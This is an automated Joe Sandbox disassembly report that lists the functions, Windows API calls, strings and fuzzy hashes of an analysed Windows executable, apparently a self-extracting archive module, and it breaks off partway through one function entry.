Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: f2926f290b12bce643c0ba6d96074ca090c44e05cafcf7f54dcf12bfeb7df9bf
Instruction ID: eb32d8f029c1b8302d2eae4ba851f59ecbc087d22d68cbc4ee319215c0e1b559
Opcode Fuzzy Hash: f2926f290b12bce643c0ba6d96074ca090c44e05cafcf7f54dcf12bfeb7df9bf
Instruction Fuzzy Hash: 1DA16C32D0478A9FDB21CF18C8817BEBBE1EF153E0F14416ED6859B2A1CA788D42D751

Function 00FD9F96 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00FD7F2C,?,?,?), ref: 00FDA03C
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00FD7F2C,?,?), ref: 00FDA080
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00FD7F2C,?,?,?,?,?,?,?,?), ref: 00FDA101
CloseHandle.KERNEL32(?,?,00000000,?,00FD7F2C,?,?,?,?,?,?,?,?,?,?,?), ref: 00FDA108

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: c55217b62127d022fa0167d0c32d30708f7b818919b563ea53dad729572c0422
Instruction ID: 6e2a0e4bc5436b7bac7a0b07c3a3e7b94a007e8f5b14fb2ea3fd27fed8b2f8d5
Opcode Fuzzy Hash: c55217b62127d022fa0167d0c32d30708f7b818919b563ea53dad729572c0422
Instruction Fuzzy Hash: B441C3316483819AD731DF64DC45BAEBBEA9B85310F08091EB5D1D32C1D6A8DA4CEB53

Function 00FEA4F8 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00FEA508
GetObjectW.GDI32(00000000,00000018,?), ref: 00FEA529
DeleteObject.GDI32(00000000), ref: 00FEA551
DeleteObject.GDI32(00000000), ref: 00FEA570

Part of subcall function 00FE963A: FindResourceW.KERNEL32(00000066,PNG,?,?,00FEA54A,00000066), ref: 00FE964B
Part of subcall function 00FE963A: SizeofResource.KERNEL32(00000000,75295780,?,?,00FEA54A,00000066), ref: 00FE9663
Part of subcall function 00FE963A: LoadResource.KERNEL32(00000000,?,?,00FEA54A,00000066), ref: 00FE9676
Part of subcall function 00FE963A: LockResource.KERNEL32(00000000,?,?,00FEA54A,00000066), ref: 00FE9681

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: 0e79810199b57e2d0be1c6304e8410f4653700d6cc0d8dd02ccc959dcf71a067
Instruction ID: fadb1bb126381eb52447a9bb770bfb7e047c3bdb69e5f1f0075b00c24c833bce
Opcode Fuzzy Hash: 0e79810199b57e2d0be1c6304e8410f4653700d6cc0d8dd02ccc959dcf71a067
Instruction Fuzzy Hash: 3E01263294038537C72273AA9C46E7F77AEDFC5B61F0C0025FA40A7285DE9A9C0263B1

Function 00FF1A89 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00FF1AA0

Part of subcall function 00FF20D8: ___AdjustPointer.LIBCMT ref: 00FF2122

_UnwindNestedFrames.LIBCMT ref: 00FF1AB7
___FrameUnwindToState.LIBVCRUNTIME ref: 00FF1AC9
CallCatchBlock.LIBVCRUNTIME ref: 00FF1AED

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction ID: 1bc1b7ab47ca9ba6109279983f30017e7f5f2a2787635c7ba482d2f48156cb17
Opcode Fuzzy Hash: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction Fuzzy Hash: B001053240014CEBCF129F95CC01EEA3BAAFF58754F044115FE1865130D73AE8A1EBA0

Function 00FF15E6 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00FF15E6
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00FF15EB
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00FF15F0

Part of subcall function 00FF268E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00FF269F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00FF1605

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction ID: 425df10adf1626201734122db89ae73073675b0dd07a12218f146994348ff1b2
Opcode Fuzzy Hash: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction Fuzzy Hash: ECC04C6944064DD01CA03AB53B637FD33002DA27D5B8D14C1BF41571379E8D080BB837

Function 00FE975D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 00FE960F: GetDC.USER32(00000000), ref: 00FE9613
Part of subcall function 00FE960F: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FE961E
Part of subcall function 00FE960F: ReleaseDC.USER32(00000000,00000000), ref: 00FE9629

GetObjectW.GDI32(?,00000018,?), ref: 00FE978E

Part of subcall function 00FE9954: GetDC.USER32(00000000), ref: 00FE995D
Part of subcall function 00FE9954: GetObjectW.GDI32(?,00000018,?), ref: 00FE998C
Part of subcall function 00FE9954: ReleaseDC.USER32(00000000,?), ref: 00FE9A20

Strings

(, xrefs: 00FE9859

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: feb26bfec5a16280f5e239d784e48ff3c6307a38374416351d3ed70c98d19650
Instruction ID: 27b9e85a75d370601575424c3d5ef685e06b90fed5f4aadbb1fca8235faddc5b
Opcode Fuzzy Hash: feb26bfec5a16280f5e239d784e48ff3c6307a38374416351d3ed70c98d19650
Instruction Fuzzy Hash: B3611371608241AFD310DFA5C884E6BBBE9FF89704F10491DF599CB261DB72E909CB62

Function 00FE0A9F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FE0C59

Strings

%s: %s, xrefs: 00FE0C68
%ls, xrefs: 00FE0ADE, 00FE0AF4

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 1132d62d6147c4db0dadc72882d760a6dd00ab8418dc52cc533cbf58fcc278a5
Instruction ID: 50d2faa5f1cf4a81e6e86ee082127c3a869377cc0a299ce863749a3799e95bdd
Opcode Fuzzy Hash: 1132d62d6147c4db0dadc72882d760a6dd00ab8418dc52cc533cbf58fcc278a5
Instruction Fuzzy Hash: 2251F93368C3C1FAE6311BD68D42F26755ABB44B04F20C507B7CAA84D2DDE568E0B716

Function 00FD7570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD7575
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FD7711

Part of subcall function 00FDA12F: SetFileAttributesW.KERNEL32(?,00000000,00000001,?,00FD9F65,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FDA143
Part of subcall function 00FDA12F: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00FD9F65,?,?,?,00FD9DFE,?,00000001,00000000,?,?), ref: 00FDA174

Strings

:, xrefs: 00FD75E6

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 7b1ec850f5feaec9ffc67ca77eff2b6d977c978dcd42713a4b9fd966fbca9a51
Instruction ID: 6c0b678581381a170073c27e105221c28b45d68ad0bd4f05493debc5b2af608e
Opcode Fuzzy Hash: 7b1ec850f5feaec9ffc67ca77eff2b6d977c978dcd42713a4b9fd966fbca9a51
Instruction Fuzzy Hash: 4441B671805218AADB25FB60CC55EEF777EAF45300F08409BB545A7282EB785F88EF61

Function 00FDB32C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

\\?\, xrefs: 00FDB37E, 00FDB3BA, 00FDB41B, 00FDB46E
UNC, xrefs: 00FDB3C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: ff461b2b1903e2b19a7e31424fa17dc3d82bc29f906a57fec65c2ee413847d0f
Instruction ID: c0b3d35e0f7031b66f7b9aabce6bc9c76da3e4b648690143c96aeee876b020c5
Opcode Fuzzy Hash: ff461b2b1903e2b19a7e31424fa17dc3d82bc29f906a57fec65c2ee413847d0f
Instruction Fuzzy Hash: 2441B231800218FACF21EF61CC45EAE376BAF06765F19806BF95993342D7789984FB90

Function 00FFE662 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00FFEA9F,00000000,00000000,00000000,00000000,00000000,00FF3FBF), ref: 00FFE70C
GetLastError.KERNEL32(?,00FFEA9F,00000000,00000000,00000000,00000000,00000000,00FF3FBF,00000000,00FF3FBF,0100AA70,00000010,00FFD947,00000000,0100A9E8,00000010), ref: 00FFE735

Strings

6P+, xrefs: 00FFE671

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: 6P+
API String ID: 442123175-3080146196
Opcode ID: a1354b0ab7181ddcf568cc66019a00c3fc0c973b49b415704fb33b43d8c56063
Instruction ID: 14e527500a06b967ae122b898237815015253d266c11398ed30533ed85583610
Opcode Fuzzy Hash: a1354b0ab7181ddcf568cc66019a00c3fc0c973b49b415704fb33b43d8c56063
Instruction Fuzzy Hash: 20317172A102199FCB24DF59CC80AAAB3FAEF58311F1044AAE659D7261E730AD81DB50

Function 00FFE583 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00FFEABF,00000000,00000000,00000000,00000000,00000000,00FF3FBF), ref: 00FFE61E
GetLastError.KERNEL32(?,00FFEABF,00000000,00000000,00000000,00000000,00000000,00FF3FBF,00000000,00FF3FBF,0100AA70,00000010,00FFD947,00000000,0100A9E8,00000010), ref: 00FFE647

Strings

6P+, xrefs: 00FFE592

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: 6P+
API String ID: 442123175-3080146196
Opcode ID: d1e81a8fd8ad6ae8ba9c11902953fec4b1142c8d5ecbab6b9617797b9db8620f
Instruction ID: 3c4100024a86b61e8601c2eb6c250c698814595a791a5f15cbc2b101f9e5e06f
Opcode Fuzzy Hash: d1e81a8fd8ad6ae8ba9c11902953fec4b1142c8d5ecbab6b9617797b9db8620f
Instruction Fuzzy Hash: B321B175A0021D9FCB25CF59C880BE9B3F9EF48315F1444AAE64AD3261D730AD85DF20

Function 00FE8A07 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00FE8A14

Strings

Shell.Explorer, xrefs: 00FE8A40
about:blank, xrefs: 00FE8AB0

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 721e2b3fa0d6c5f68d1d7e958b868f2770517baf378a2bd3e4344a36118bce25
Instruction ID: 8809c76ad9f20b4c15420c0c65cc8885f354c7a255163b93c0db7d05b18fd9ce
Opcode Fuzzy Hash: 721e2b3fa0d6c5f68d1d7e958b868f2770517baf378a2bd3e4344a36118bce25
Instruction Fuzzy Hash: 44216571700686BFD705EFB2CC95E65B368BF45750B04412AF5198B681DFB8EC12DBA0

Function 00FECA31 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(000304CA), ref: 00FECA6D
DialogBoxParamW.USER32(GETPASSWORD1,000304CA,00FEA0B0,?,?), ref: 00FECAA9

Strings

GETPASSWORD1, xrefs: 00FECA9E

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: 474f8a8a94f6cf5dd51ca095c2b30354ec27f24ee7be270a835e84f92a1f50aa
Instruction ID: 331e60545a26e135502a141da50b16361d3723fa4e4bec6de2aef91bad462a56
Opcode Fuzzy Hash: 474f8a8a94f6cf5dd51ca095c2b30354ec27f24ee7be270a835e84f92a1f50aa
Instruction Fuzzy Hash: 5D113B3260028C6ADB22ED76DC05BBA3798B709B20F044079FD89AB184C6BD5C41E3E4

Function 00FEE203 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00FEE82E
___raise_securityfailure.LIBCMT ref: 00FEE915

Strings

6P+, xrefs: 00FEE8F6

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 6P+
API String ID: 3761405300-3080146196
Opcode ID: 341c557e7b0a82f39c7e09abf7ad08e87128213fde62389bad535cdb889971c1
Instruction ID: 37610eec051a64903b1b3ee5754eca433dd0f88b11d5a841ec5820d02924d904
Opcode Fuzzy Hash: 341c557e7b0a82f39c7e09abf7ad08e87128213fde62389bad535cdb889971c1
Instruction Fuzzy Hash: A32112B55002069ED7B1CF55F641E447BB4FF0EB90F20402BE988CB399E3BA9980CB80

Function 00FD12D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00FDD70B: _swprintf.LIBCMT ref: 00FDD731
Part of subcall function 00FDD70B: _strlen.LIBCMT ref: 00FDD752
Part of subcall function 00FDD70B: SetDlgItemTextW.USER32(?,0100D154,?), ref: 00FDD7B2
Part of subcall function 00FDD70B: GetWindowRect.USER32(?,?), ref: 00FDD7EC
Part of subcall function 00FDD70B: GetClientRect.USER32(?,?), ref: 00FDD7F8

GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

Strings

0, xrefs: 00FD12DA

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: f9cf46b14cafd28803abe6be15faa0c1fe7f3f4a4ebed4aad27bed6ce1d4216c
Instruction ID: c1b6c2843af3a3bfb3bc6b11f44898677e0604f2bfed202273b116ac0574e0a4
Opcode Fuzzy Hash: f9cf46b14cafd28803abe6be15faa0c1fe7f3f4a4ebed4aad27bed6ce1d4216c
Instruction Fuzzy Hash: C5F03C70940248B6DF261EA08C49AF93B5BBB14394F08800ABCC895695C779C9B4FB60

Function 00FF9AFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(?), ref: 00FF9B3C

Strings

FlsFree, xrefs: 00FF9B18
6P+, xrefs: 00FF9B03

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Free
String ID: 6P+$FlsFree
API String ID: 3978063606-1299238597
Opcode ID: a6679497220853cbaf36f6328dbc9a2feddaa168a7f0d3aad9a5d9b573de994a
Instruction ID: 46253cd1134af6e842506701bbd0b2ed17753d370c3b53a788e82998c64ba296
Opcode Fuzzy Hash: a6679497220853cbaf36f6328dbc9a2feddaa168a7f0d3aad9a5d9b573de994a
Instruction Fuzzy Hash: 1DE02031A4420C678622AFA1AC0AF3EBB64DF44B10F01005CFF055B280CAA64E00A7C9

Function 00FE04BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00FE05D9,?,?,00FE064E,?,?,?,?,?,00FE0638), ref: 00FE04C0
GetLastError.KERNEL32(?,?,00FE064E,?,?,?,?,?,00FE0638), ref: 00FE04CC

Part of subcall function 00FD6CCE: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD6CEC

Strings

